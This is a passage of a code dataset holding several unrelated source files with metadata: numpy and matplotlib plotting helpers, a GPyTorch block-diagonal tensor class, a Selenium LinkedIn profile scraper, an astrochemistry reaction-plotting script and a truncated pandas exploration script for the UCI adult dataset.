"code-starcoder2", "pt": "57", "api": [{"api_name": "csv.reader", "line_number": 10, "usage_type": "call"}, {"api_name": "rx.Observable.from_", "line_number": 13, "usage_type": "call"}, {"api_name": "rx.Observable", "line_number": 13, "usage_type": "name"}, {"api_name": "rx.Observable.merge", "line_number": 40, "usage_type": "call"}, {"api_name": "rx.Observable", "line_number": 40, "usage_type": "name"}, {"api_name": "rx.Observable.merge", "line_number": 42, "usage_type": "call"}, {"api_name": "rx.Observable", "line_number": 42, "usage_type": "name"}, {"api_name": "rx.Observable.from_iterable", "line_number": 53, "usage_type": "call"}, {"api_name": "rx.Observable", "line_number": 53, "usage_type": "name"}, {"api_name": "rx.Observable.zip", "line_number": 54, "usage_type": "call"}, {"api_name": "rx.Observable", "line_number": 54, "usage_type": "name"}, {"api_name": "rx.Observable.from_", "line_number": 54, "usage_type": "call"}]} {"seq_id": "523729111", "text": "import numpy as np\nimport math\nimport matplotlib.pyplot as plt\n\ndef displayData (X):\n example_width = int(round(math.sqrt(np.size(X,1))))\n plt.gray()\n m,n = X.shape\n example_height = int(n / example_width)\n \n display_rows = int(math.floor(np.sqrt(m)))\n display_cols = int(math.ceil(m / display_rows))\n pad = 1;\n \n display_array = np.ones((pad + display_rows * (example_height + pad), \\\n pad + display_cols * (example_width + pad)))\n curr_ex = 0\n for j in range(0, display_rows):\n for i in range (0, display_cols):\n if curr_ex >= m:\n break\n max_val = max(abs(X[curr_ex, :]))\n rows = pad + j * (example_height + pad) + np.array(range(example_height))\n cols = pad + i * (example_width + pad) + np.array(range(example_width))\n display_array[rows[0]:rows[-1]+1 , cols[0]:cols[-1]+1] = \\\n np.reshape(X[curr_ex-1, :], (example_height, example_width), order=\"F\") \\\n / max_val\n curr_ex = curr_ex + 1\n if curr_ex >= m:\n break\n h = plt.imshow(display_array, vmin=-1, vmax=1)\n # Do not show axis\n plt.axis('off')\n return plt, h, display_array\n", "sub_path": "ex7-python/displayData.py", "file_name": "displayData.py", "file_ext": "py", "file_size_in_byte": 1235, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "math.sqrt", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 6, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.gray", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "math.floor", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 11, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}]} {"seq_id": "208257885", "text": "#!/usr/bin/env python3\n\nimport torch\n\nfrom .. import settings\nfrom ..utils.cholesky import psd_safe_cholesky\nfrom ..utils.memoize import cached\nfrom .block_lazy_tensor import BlockLazyTensor\nfrom .non_lazy_tensor import NonLazyTensor\nfrom .root_lazy_tensor import RootLazyTensor\n\n\nclass BlockDiagLazyTensor(BlockLazyTensor):\n \"\"\"\n Represents a lazy tensor that is the block diagonal of square matrices.\n The :attr:`block_dim` attribute specifies which dimension of the base LazyTensor\n specifies the blocks.\n For example, (with `block_dim=-3` a `k x n x n` tensor represents `k` `n x n` blocks (a `kn x kn` matrix).\n A `b x k x n x n` tensor represents `k` `b x n x n` blocks (a `b x kn x kn` batch matrix).\n\n Args:\n :attr:`base_lazy_tensor` (LazyTensor or Tensor):\n Must be at least 3 dimensional.\n :attr:`block_dim` (int):\n The dimension that specifies the blocks.\n \"\"\"\n @property\n def num_blocks(self):\n return self.base_lazy_tensor.size(-3)\n\n def _add_batch_dim(self, other):\n *batch_shape, num_rows, num_cols = other.shape\n batch_shape = list(batch_shape)\n\n batch_shape.append(self.num_blocks)\n other = other.view(*batch_shape, num_rows // self.num_blocks, num_cols)\n return other\n\n def _get_indices(self, row_index, col_index, *batch_indices):\n # Figure out what block the row/column indices belong to\n row_index_block = row_index.div(self.base_lazy_tensor.size(-2))\n col_index_block = col_index.div(self.base_lazy_tensor.size(-1))\n\n # Find the row/col index within each block\n row_index = row_index.fmod(self.base_lazy_tensor.size(-2))\n col_index = col_index.fmod(self.base_lazy_tensor.size(-1))\n\n # If the row/column blocks do not agree, then we have off diagonal elements\n # These elements should be zeroed out\n res = self.base_lazy_tensor._get_indices(row_index, col_index, *batch_indices, row_index_block)\n res = res * torch.eq(row_index_block, col_index_block).type_as(res)\n return res\n\n def _remove_batch_dim(self, other):\n shape = list(other.shape)\n del shape[-3]\n shape[-2] *= self.num_blocks\n other = other.contiguous().view(*shape)\n return other\n\n def _size(self):\n shape = list(self.base_lazy_tensor.shape)\n shape[-2] *= shape[-3]\n shape[-1] *= shape[-3]\n del shape[-3]\n return torch.Size(shape)\n\n def diag(self):\n res = self.base_lazy_tensor.diag().contiguous()\n return res.view(*self.batch_shape, self.size(-1))\n\n def inv_quad_logdet(self, inv_quad_rhs=None, logdet=False, reduce_inv_quad=True):\n if inv_quad_rhs is not None:\n inv_quad_rhs = self._add_batch_dim(inv_quad_rhs)\n inv_quad_res, logdet_res = self.base_lazy_tensor.inv_quad_logdet(\n inv_quad_rhs, logdet, reduce_inv_quad=reduce_inv_quad\n )\n if inv_quad_res is not None and inv_quad_res.numel():\n if reduce_inv_quad:\n inv_quad_res = inv_quad_res.view(*self.base_lazy_tensor.batch_shape)\n inv_quad_res = inv_quad_res.sum(-1)\n else:\n inv_quad_res = inv_quad_res.view(*self.base_lazy_tensor.batch_shape, inv_quad_res.size(-1))\n inv_quad_res = inv_quad_res.sum(-2)\n if logdet_res is not None and logdet_res.numel():\n logdet_res = logdet_res.view(*logdet_res.shape).sum(-1)\n return inv_quad_res, logdet_res\n\n @cached(name=\"root_decomposition\")\n def root_decomposition(self):\n if settings.fast_computations.covar_root_decomposition.on():\n res = self.__class__(self.base_lazy_tensor.root_decomposition().root)\n else:\n chol = psd_safe_cholesky(self.base_lazy_tensor.evaluate())\n res = self.__class__(NonLazyTensor(chol))\n return RootLazyTensor(res)\n", "sub_path": "gpytorch/lazy/block_diag_lazy_tensor.py", "file_name": "block_diag_lazy_tensor.py", "file_ext": "py", "file_size_in_byte": 3925, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "block_lazy_tensor.BlockLazyTensor", "line_number": 13, "usage_type": "name"}, {"api_name": "torch.eq", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.Size", "line_number": 66, "usage_type": "call"}, {"api_name": "utils.cholesky.psd_safe_cholesky", "line_number": 94, "usage_type": "call"}, {"api_name": "non_lazy_tensor.NonLazyTensor", "line_number": 95, "usage_type": "call"}, {"api_name": "root_lazy_tensor.RootLazyTensor", "line_number": 96, "usage_type": "call"}, {"api_name": "utils.memoize.cached", "line_number": 89, "usage_type": "call"}]} {"seq_id": "85623756", "text": "# MIT License\n#\n# Copyright (c) 2019 Creative Commons\n#\n# Permission is hereby granted, free of charge, to any person obtaining a\n# copy of this software and associated documentation files (the \"Software\"),\n# to deal in the Software without restriction, including without limitation\n# the rights to use, copy, modify, merge, publish, distribute, sublicense,\n# and/or sell copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following conditions\n#\n# The above copyright notice and this permission notice shall be included\n# in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n\"\"\"from __future__ imports must occur at the beginning of the file. DO NOT CHANGE!\"\"\"\nfrom __future__ import annotations\n\nimport time\nfrom typing import List\n\nfrom selenium import webdriver\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\n\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.common.exceptions import NoSuchElementException\n\nfrom . import Person_Info\n\nfrom . import Path_To_Element_By\nfrom ..DOM.javascript import JS\n\n\nclass Person(object):\n \"\"\"Class Person to target the person element on the page.\"\"\"\n\n def __init__(self: Person, driver: webdriver.Chrome) -> None:\n \"\"\"Constructor method to initialize the driver instance and element count.\n\n :Args:\n - self: {Person} self.\n - driver: {webdriver.Chrome} chromedriver instance.\n\n :Raises:\n - {Exception} if the driver object in not identified.\n \"\"\"\n if not isinstance(driver, webdriver.Chrome):\n raise Exception(\"'%(driver_type)s' object is not a 'webdriver' object\" % {\n \"driver_type\": type(driver)})\n\n self._driver = driver\n self.__suggestion_box_element_count = 0\n\n def __load_page(self: Person) -> None:\n \"\"\"Private method __load_page() loads the page by scrolling it down.\n\n :Args:\n - self: {Person} self\n\n :Returns:\n - {None}\n \"\"\"\n _js = JS(self._driver)\n\n _old_page_offset = _js.get_page_y_offset()\n _new_page_offset = _js.get_page_y_offset()\n\n while _old_page_offset == _new_page_offset:\n _js.scroll_bottom()\n time.sleep(1)\n _new_page_offset = _js.get_page_y_offset()\n\n def get_suggestion_box_element(self: Person):\n \"\"\"Method get_suggestion_box_element() an object containing the person details\n including the connect button to connect with the person.\n\n :Args:\n - self: {Person} self.\n\n :Returns:\n - {Person_Info} person object.\n \"\"\"\n def get_suggestion_box_person_li() -> webdriver.Chrome:\n \"\"\"Nested function get_suggestion_box_person() finds the actual element that\n wraps the person on the page.\n\n :Args:\n - {None}\n\n :Return:\n - {webdriver.Chrome} element that wraps the person.\n \"\"\"\n # Using parent function 'self' variable\n nonlocal self\n\n # Traget the element using its root xpath\n _xpath: str = Path_To_Element_By.SUGGESTION_BOX_ELEMENT_XPATH\n # Update the xpath every time the function is called to target the next element\n _xpath = _xpath[:-3] + '[' + \\\n str(self.__suggestion_box_element_count + 1) + ']'\n\n if self.__suggestion_box_element_count == 0:\n self.__load_page()\n\n self.__suggestion_box_element_count += 1\n\n while True:\n try:\n return WebDriverWait(self._driver, 60).until(\n EC.presence_of_element_located((By.XPATH, _xpath))\n )\n except (TimeoutException, NoSuchElementException) as error:\n if isinstance(error, TimeoutException):\n self.__load_page()\n continue\n\n def transform_to_object(li: webdriver.Chrome) -> Person_Info:\n \"\"\"Nested function transform_to_object() gets the person's details from the element\n that wraps the person and transform into an Person_Info object.\n\n :Args:\n - li: {webdriver.Chrome} element to get the person details from\n\n :Returns:\n - {Person_Info}\n \"\"\"\n # Target the info container that is inside of the element we are given\n _info_container: webdriver.Chrome = li.find_element_by_css_selector(\n \"div[class='discover-entity-type-card__info-container']\")\n # Target the anchor tag from the info container to later get the image url\n # and the profile url of the person\n _anchor_tag: webdriver.Chrome = _info_container.find_element_by_tag_name(\n \"a\")\n # Target the image element to get the image url later\n _img_tag: webdriver.Chrome = _anchor_tag.find_element_by_tag_name(\n \"img\")\n # Target the bottom container inside of the info container to target the connect\n # button\n _bottom_container: webdriver.Chrome = li.find_element_by_css_selector(\n \"div[class^='discover-entity-type-card__bottom-container']\")\n # Target the footer element inside of the bottom container to get the connect button\n _footer: webdriver.Chrome = _bottom_container.find_element_by_tag_name(\n \"footer\")\n\n # Get the person's name from the element inside of the anchor tag\n _person_name: str = _anchor_tag.find_element_by_css_selector(\n \"span[class^='discover-person-card__name']\").text\n # Get the person's occupation from the element inside of the anchor tag\n _person_occupation: str = _anchor_tag.find_element_by_css_selector(\n \"span[class^='discover-person-card__occupation']\").text\n # Get the person's photo url from the image tag\n _person_photo_url: str = _img_tag.get_attribute(\"src\")\n # Get the person's profile url from the anchor tag\n _person_profile_url: str = \"%(profile_path)s\" % {\n \"profile_path\": _anchor_tag.get_attribute(\"href\")}\n # Get the connect button from the footer element\n _person_connect_button: str = _footer.find_element_by_css_selector(\n f\"button[aria-label^='Invite']\")\n\n return Person_Info(\n name=_person_name,\n occupation=_person_occupation,\n profile_url=_person_profile_url,\n photo_url=_person_photo_url,\n connect_button=_person_connect_button\n )\n\n return transform_to_object(get_suggestion_box_person_li())\n\n def get_search_results_elements(self: Person) -> List[Person_Info]:\n def get_search_results_person_lis() -> List[webdriver.Chrome]:\n nonlocal self\n\n _target: int = 1\n\n # Traget the element using its root xpath\n _xpath: str = Path_To_Element_By.SEARCH_RESULTS_PEOPLE_XPATH\n\n _search_results_person_lis: List[webdriver.Chrome] = []\n\n while True:\n # Update the xpath every time the function is called to target the next element\n _xpath = _xpath[:-3] + '[' + str(_target) + ']'\n try:\n _search_results_person_lis.append(WebDriverWait(self._driver, 60).until(\n EC.presence_of_element_located((By.XPATH, _xpath))\n ))\n except (TimeoutException, NoSuchElementException) as error:\n if isinstance(error, NoSuchElementException):\n break\n continue\n _target += 1\n\n return _search_results_person_lis\n\n def transform_to_object(lis: List[webdriver.Chrome]) -> List[Person_Info]:\n _person_infos: List[Person_Info] = []\n\n for li in lis:\n _entity_result_item_container: webdriver.Chrome = li.find_element_by_css_selector(\n \"div[class='entity_result']\").find_element_by_css_selector(\n \"div[class='entity-result__item']\")\n _entity_result_image_container: webdriver.Chrome = _entity_result_item_container.find_element_by_css_selector(\n \"div[class='entity-result__image']\")\n\n _entity_result_anchor_tag: webdriver.Chrome = _entity_result_image_container.find_element_by_tag_name(\n \"a\")\n _person_profile_url: str = _entity_result_anchor_tag.get_attribute(\n \"href\")\n _entity_result_img_tag: webdriver.Chrome = _entity_result_image_container.find_element_by_tag_name(\n \"img\")\n _person_photo_url: str = _entity_result_img_tag.get_attribute(\n \"src\")\n\n _entity_result_content_container: webdriver.Chrome = _entity_result_item_container.find_element_by_css_selector(\n \"div[class^='entity-result__content']\")\n _person_occupation: str = _entity_result_content_container.find_element_by_css_selector(\n \"div[class^='entity-result__primary-subtitle']\")\n _person_location: str = _entity_result_content_container.find_element_by_css_selector(\n \"div[class^='entity-result__secondary-subtitle']\")\n _person_summary: str = _entity_result_content_container.find_element_by_css_selector(\n \"p[class^='entity-result__summary']\")\n\n _entity_result_content_anchor_tag: webdriver.Chrome = _entity_result_content_container.find_element_by_tag_name(\n \"a\")\n _person_name: str = _entity_result_content_anchor_tag.text\n\n _person_connect_button: webdriver.Chrome = _entity_result_item_container.find_element_by_css_selector(\n \"div[class^='entity-result__actions']\").find_element_by_tag_name(\"button\")\n\n _person_infos.append(Person_Info(\n name=_person_name,\n occupation=_person_occupation,\n photo_url=_person_photo_url,\n profile_url=_person_profile_url,\n location=_person_location,\n summary=_person_summary,\n connect_button=_person_connect_button\n ))\n\n return _person_infos\n\n return transform_to_object(get_search_results_person_lis())\n", "sub_path": "inb/linkedin/person/person.py", "file_name": "person.py", "file_ext": "py", "file_size_in_byte": 11247, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 46, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 46, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 56, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 56, "usage_type": "name"}, {"api_name": "DOM.javascript.JS", "line_number": 72, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 79, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 118, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.presence_of_element_located", "line_number": 119, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 119, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 119, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 119, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.TimeoutException", "line_number": 121, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.NoSuchElementException", "line_number": 121, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.TimeoutException", "line_number": 122, "usage_type": "argument"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 92, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 92, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 126, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 126, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 137, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 137, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 141, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 141, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 144, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 144, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 148, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 148, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 151, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 151, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 188, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 188, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 188, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 194, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.presence_of_element_located", "line_number": 195, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 195, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 195, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 195, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.TimeoutException", "line_number": 197, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.NoSuchElementException", "line_number": 197, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.NoSuchElementException", "line_number": 198, "usage_type": "argument"}, {"api_name": "typing.List", "line_number": 180, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 180, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 180, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 205, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 205, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 205, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 206, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 209, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 209, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 212, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 212, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 215, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 215, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 219, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 219, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 224, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 224, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 233, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 233, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 237, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 237, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 179, "usage_type": "name"}]} {"seq_id": "413832102", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Script that show abundances Vs time in log-log for a given list of species\n\nimport os, pdb\nimport numpy as np\nimport sys # to be able to retrieve arguments of the script\nimport pylab as pl\nfrom matplotlib.ticker import FormatStrFormatter, ScalarFormatter\n\n###############################################\n## Beginning of the program\n###############################################\n\nOUTPUT_EXTENSION = 'pdf' # default value in bitmap, because vectoriel can take time and space if there is a lot of data\n\n# By default, 1, but represent the column containing abundances in each file. \n## If one, this is either the first 1D point, or the only one, if this is not a 1D simulation\n\nspecies_name = None\n\nisProblem = False\nproblem_message = \"\"\"AIM : For a given species, display the most important reaction\nboth for production and destruction. Display the evolution of theses importances\nwith time.\n\nThe script can take various arguments :\n(no spaces between the key and the values, only separated by '=')\n * species=CO : the species name you want to plot the most important reactions\n * ext=%s : The extension for the output files\n * help : display a little help message on HOW to use various options.\n\nEXAMPLE:\n > nautilus-trace-species.py species=CO\"\"\" % (OUTPUT_EXTENSION)\n\n\nvalue_message = \"/!\\ Warning: %s does not need any value, but you defined '%s=%s' ; value ignored.\"\n\n# We get arguments from the script\nfor arg in sys.argv[1:]:\n try:\n (key, value) = arg.split(\"=\")\n except:\n key = arg\n value = None\n if (key == 'ext'):\n OUTPUT_EXTENSION = value\n elif (key == 'species'):\n species_name = value\n elif (key == 'help'):\n isProblem = True\n if (value != None):\n print(value_message % (key, key, value))\n else:\n print(\"the key '%s' does not match\" % key)\n isProblem = True\n\nif (species_name == None):\n isProblem = True\n\nif isProblem:\n print(problem_message)\n exit()\n\n####################\n# We declare arrays to store read informations\n####################\n\nfilename = 'trace_dest_%s.percentage' % species_name\nif not(os.path.isfile(filename)):\n print(\"Error: The file %s doesn't exists.\" % filename)\n print(\"Please run nautilus_trace_major for the given reaction beforehand.\")\n exit()\n \ntime = []\nproduction_fraction = []\ndestruction_fraction = []\n\n# Read production reactions\nobject_file = open('trace_prod_%s.percentage' % species_name, 'r')\n\n# First header\ndummy = object_file.readline()\n\n# reaction IDs\nline = object_file.readline()\nreaction_prod_IDs = [word for word in line.split()]\n\nnb_prod_reactions = len(reaction_prod_IDs)\nfor i in range(nb_prod_reactions):\n production_fraction.append([])\n# 2nd header\ndummy = object_file.readline()\n\n# Actual datas\nlines = object_file.readlines()\n\nfor line in lines:\n words = line.split()\n \n time.append(float(words[0]))\n for i in range(nb_prod_reactions):\n production_fraction[i].append(float(words[i+1]))\n\nobject_file.close()\n\n# Read destruction reactions\n\ntime = [] # We reset the time array because we assume the same times are valid both for production AND destruction !\nobject_file = open('trace_dest_%s.percentage' % species_name, 'r')\n\n# First header\ndummy = object_file.readline()\n\n# reaction IDs\nline = object_file.readline()\nreaction_dest_IDs = [word for word in line.split()]\n\nnb_dest_reactions = len(reaction_dest_IDs)\nfor i in range(nb_dest_reactions):\n destruction_fraction.append([])\n# 2nd header\ndummy = object_file.readline()\n\n# Actual datas\nlines = object_file.readlines()\n\nfor line in lines:\n words = line.split()\n \n time.append(float(words[0]))\n for i in range(nb_dest_reactions):\n destruction_fraction[i].append(float(words[i+1]))\n\nobject_file.close()\n\n#~ pdb.set_trace()\n\nfig = pl.figure()\npl.clf()\nfig.suptitle(\"Main production and destruction reactions for %s\" % species_name)\n\n#~ fig.subplots_adjust(left=0.12, bottom=0.1, right=0.96, top=0.95, wspace=0.26, hspace=0.26)\n# We create subplots. add_subplot(2, 3, 1) means we have 2 lines, 3 columns, \n# and that the active plot is the first, starting from top left (for 6 plots in total)\n\n# Plot production\nplot_prod = fig.add_subplot(2, 1, 1)\n\nplot_prod.set_xscale(\"log\")\nplot = plot_prod.plot\n\nfor reaction in range(nb_prod_reactions):\n plot(time, production_fraction[reaction], label=\"ID=%s\" % reaction_prod_IDs[reaction])\n\nplot_prod.set_xlabel(\"Time [years]\")\nplot_prod.set_ylabel(\"Production fraction [%]\")\nplot_prod.grid(True)\n\n#~ timeFormat = FormatStrFormatter(\"%.3g\")\n#~ plot_prod.xaxis.set_major_formatter(timeFormat)\n\nplot_prod.legend()\n\n# Plot destruction\nplot_dest = fig.add_subplot(2, 1, 2)\n\nplot_dest.set_xscale(\"log\")\nplot = plot_dest.plot\n\nfor reaction in range(nb_dest_reactions):\n plot(time, destruction_fraction[reaction], label=\"ID=%s\" % reaction_dest_IDs[reaction])\n\nplot_dest.set_xlabel(\"Time [years]\")\nplot_dest.set_ylabel(\"Destruction fraction [%]\")\nplot_dest.grid(True)\n\nplot_dest.legend()\n\n\n#~ percentage_format = FormatStrFormatter(\"%3.1f\")\npercentage_format = ScalarFormatter(useOffset=False)\n\nplot_prod.yaxis.set_major_formatter(percentage_format)\nplot_dest.yaxis.set_major_formatter(percentage_format)\n\n\n\nnom_fichier_plot = \"major_reaction_%s\" % species_name\nfig.savefig('%s.%s' % (nom_fichier_plot, OUTPUT_EXTENSION), format=OUTPUT_EXTENSION)\n\n#~ pdb.set_trace()\n\npl.show()\n\n\n\n", "sub_path": "scripts/nautilus-trace-species.py", "file_name": "nautilus-trace-species.py", "file_ext": "py", "file_size_in_byte": 5336, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.argv", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "pylab.figure", "line_number": 139, "usage_type": "call"}, {"api_name": "pylab.clf", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.ticker.ScalarFormatter", "line_number": 182, "usage_type": "call"}, {"api_name": "pylab.show", "line_number": 194, "usage_type": "call"}]} {"seq_id": "57152001", "text": "# Import the necessary modules\nimport pandas as pd # for handling data\nimport requests # for pulling pages from the internet\nfrom bs4 import BeautifulSoup # for scraping and processing pages\nimport numpy as np # for statistical calculations\nimport matplotlib.pyplot as plt # for plotting histograms\nfrom matplotlib.pyplot import figure # For plotting feature importance\nfrom pandas.plotting import scatter_matrix # for scatter matrices\n\nimport sklearn\nfrom sklearn.preprocessing import StandardScaler # For performing z-normalizations\nfrom sklearn.model_selection import train_test_split # For splitting data\nfrom sklearn.tree import DecisionTreeClassifier # Decision tree classifier\nfrom sklearn.ensemble import RandomForestClassifier # Random forest classifier\nfrom sklearn import svm # for Support Vector Machine classifier\nfrom sklearn.metrics import accuracy_score # for generating accuracy scores\n\nfrom sklearn.metrics import * # for model evaluation\n\n\n################# EXTRACT DATA AND PROCESS COLUMN HEADERS ####################\n\n# Read the data from the website into a Pandas DataFrame.\ndf = pd.read_csv(\"https://archive.ics.uci.edu/ml/machine-learning-databases/adult/adult.data\") \n\n# Pull the page with the column names and metadata.\ncols_url = requests.get(\"https://archive.ics.uci.edu/ml/machine-learning-databases/adult/adult.names\")\n\n# Use BS4 to split the page into a list of strings\nsoup = BeautifulSoup(cols_url.content, \"lxml\").text.split('\\n')\n\n# Inspecting the HTML of the page reveals the headers are in dict format on lines 96-110 \n# Pull the lines with column strings from the HTML into a list.\ncol_strings = soup[96:110]\n\n# Create function to the lines and rebuild them into a dictionary with column names and possible values.\ndef strings_to_dicts(s_list):\n col_dict = {}\n for item in s_list:\n entry = item.split(':')\n item = entry[0]\n key = entry[1]\n col_dict[item] = key\n return col_dict\n\n# Run html stripping function.\ncolsd = strings_to_dicts(col_strings)\n\n# Extract column names and convert to list format.\ncols = list(colsd.keys())\n\n# Put together missing column names.\ncols = cols + ['income_cat']\n\n# Provide the column names for the DataFrame using the column list.\ndf.columns = cols\n\n############ CREATE INFO FUNCTION AND PERFORM DATA EXPLORATION #########\n \n# Define function to get information from the DataFrame.\ndef df_info(df, dv = None):\n \"\"\"Automatically combine dataset information into one dataframe. \n Use both pandas and numpy methods of getting\n max and min to help catch bad cell values.\"\"\"\n\n # Create empty DataFrame for info to go in.\n info= pd.DataFrame()\n \n # Insert the datatypes.\n info['dtype'] = df.dtypes\n\n # Compute number of rows with one or more fields mising\n missing_rows_ct = df.shape[0] - df.dropna().shape[0]\n \n # Count non-null values in each column\n info['#values'] = df.count()\n \n # Count the null values and and insert them.\n info['is_null'] = df.isnull().sum()\n \n # Caclulate the percentage of the field is missing.\n info['pct_null'] = info['is_null'] / len(df)\n \n # Proportion of total rows missing\n info['pct_null_rows'] = info['is_null'] / missing_rows_ct\n \n # Count the duplicates and insert them.\n dupcount = df.duplicated().sum()\n \n # Run describe function and then transpose the values.\n stats = df.describe().transpose()\n \n # Transpose the stats DataFrame and then join it with the info DataFrame.\n info = info.join(stats,how='outer',rsuffix='_np')\n \n # Create blank dictionary for categorical column information.\n cat_info_dict = {}\n\n # For each column in the dataframe, check if datatype is object. If it is,\n # get the unique values, count them, and store them in the dictionary.\n for col in df:\n if df[col].dtype == 'object':\n column_items = df[col].unique()\n cat_info_dict.update({col : {'unique_count': len(df[col].unique()),\n 'unique_items': column_items}})\n else:\n pass\n \n # Create DataFrame from dictionary.\n cat_df = pd.DataFrame.from_dict(cat_info_dict, orient= 'index')\n \n # Merge DataFrame with categorical information with main DataFrame.\n info = info.join(cat_df,how='outer')\n \n # Drop useless count column\n info = info.drop(['count'], axis=1)\n \n # Print the dataset information.\n print('DATASET INFORMATION:')\n 